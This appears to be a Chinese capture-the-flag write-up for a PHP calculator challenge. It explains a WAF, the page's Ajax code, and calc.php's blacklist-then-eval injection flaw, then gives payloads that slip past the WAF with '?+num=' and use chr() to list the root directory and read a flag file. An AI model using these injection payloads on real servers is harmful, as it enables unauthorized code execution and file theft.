进入靶场
没有头绪,查看源代码吧
有点东西
说他设置了WAF(即web应用防火墙)
WAF的核心功能涵盖以下几个方面:
1. SQL注入防护:WAF能够检测和拦截那些试图通过输入恶意SQL代码来操控数据库的攻击。
2. 跨站脚本(XSS)防护:它能够有效识别和阻止那些企图在受害者浏览器中执行恶意脚本的攻击。
3. 本地文件包含(LFI)防护:WAF能够防范攻击者利用服务器上的漏洞来访问或执行敏感文件。 4. 远程文件包含(RFI)防护:它同样能够阻止攻击者利用漏洞从远程服务器上下载并执行恶意文件。
5. DDoS攻击防护:WAF具备防御分布式拒绝服务攻击的能力,这种攻击试图通过发送大量请求来耗尽服务器资源。
6. CC攻击防护:它还能抵御挑战应答(Challenge Collapsar)攻击,这种攻击通过发送大量半开连接请求来消耗服务器资源。
7. 防护Web Shell:WAF能够检测和阻止Web Shell的上传和使用,Web Shell是攻击者用来控制服务器的恶意脚本。
8. 防护敏感信息泄露:它能够阻止服务器敏感信息的泄露,例如数据库连接信息、用户密码等。 9. 防护应用层DDoS攻击:WAF通过检测和限制异常请求,来防御针对应用层的分布式拒绝服务攻击。
10. 精准访问控制:WAF支持基于用户IP、地理位置、请求方法、请求URL等多种条件的访问控制策略。
11. 防止网页篡改:它能够监控和阻止对网页内容的非法篡改。
12. SSL加密:WAF支持SSL证书的部署和管理,为Web应用提供数据加密和完整性校验。
13. 日志审计和报表功能:WAF能够记录和分析Web应用的访问日志,为安全审计和合规性检查提供支持。
但是,WAF并不能替代后端代码中的安全验证和清理。
那怎么办嘞
继续审源码
script部分
1. $('#calc').submit(function(){...}):
• 这行代码为ID为calc的表单元素绑定了一个提交事件的处理函数。当表单提交时,会执行大括号内的代码。
2. $.ajax({...}):
• 这是jQuery的Ajax方法,用于向服务器发送异步请求。
3. url:"calc.php?num="+encodeURIComponent($("#content").val()):
• 这里指定了请求的URL为calc.php,并通过GET方式传递了一个名为num的参数。
• encodeURIComponent($("#content").val())用于获取ID为content的元素的值(通常是一个输入框中的用户输入),并使用encodeURIComponent函数对其进行URL编码,以确保特殊字符能够正确传递。
4. type:'GET':
• 指定请求的类型为GET。
5. success:function(data){...}:
• 这是一个回调函数,当请求成功时执行。data参数包含了服务器返回的数据。
• 在这个回调函数中,使用jQuery的.html()方法将ID为result的元素的内容更新为一个包含成功消息的div,其中显示了服务器返回的数据(即计算结果)。
6. error:function(){...}:
• 这是一个错误处理回调函数,当请求失败时执行。
• 在这个回调函数中,使用alert方法显示一个错误消息。
7. return false;:
• 这行代码阻止了表单的默认提交行为。因为已经通过Ajax发送了请求,所以不需要让浏览器按照默认方式提交表单。
审计完毕,找到一个calc.php,访问一下
1.error_reporting(0);
• 这行代码关闭了PHP的错误报告功能,意味着任何错误或警告都不会被显示给用户。这通常用于生产环境以避免泄露敏感信息,但在这个上下文中,它也可能被用来隐藏代码执行时可能产生的错误信息。
2. if(!isset($_GET['num'])){
• 这行代码检查是否通过GET请求传递了名为num的参数。如果没有传递,执行花括号内的代码。 3. show_source(__FILE__);
• 如果num参数未设置,show_source(__FILE__);将显示当前文件的源代码。__FILE__是一个魔术常量,代表当前文件的完整路径和文件名。
4. }else{
• 如果num参数被设置了,执行花括号内的代码。
5. $str = $_GET['num'];
• 将GET请求中num参数的值赋给变量$str。
6. $blacklist = [' ', '\t', '\r', '\n','\'', '"', '', '[', ']','$','\','^'];`
• 定义一个黑名单数组,包含一系列被视为危险的字符或字符串。这些字符通常用于代码注入攻击中,比如空格、换行符、引号、反斜杠等。
7. foreach ($blacklist as $blackitem) {
• 遍历黑名单数组中的每个元素。
8. if (preg_match('/' . $blackitem . '/m', $str)) {
• 使用preg_match函数检查变量$str中是否包含黑名单中的任何字符。/m修饰符表示多行模式,但在这个上下文中它可能不是必需的,因为黑名单中的字符与多行模式无关。
9. die("what are you want to do?");
• 如果发现$str包含黑名单中的字符,脚本将终止执行,并显示消息"what are you want to do?"。 10. }
• 结束if语句。
11. eval('echo '.$str.';');
• 如果$str通过了黑名单检查,这行代码将执行。eval函数会将字符串当作PHP代码执行。这里,它试图输出$str的值。然而,由于$str是用户控制的,并且只进行了非常有限的过滤,这允许攻击者构造特殊的输入来执行任意PHP代码。
先试试绕过
?+num=phpinfo()
成功了
?+num=print_r(scandir(chr(47)))
?+num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))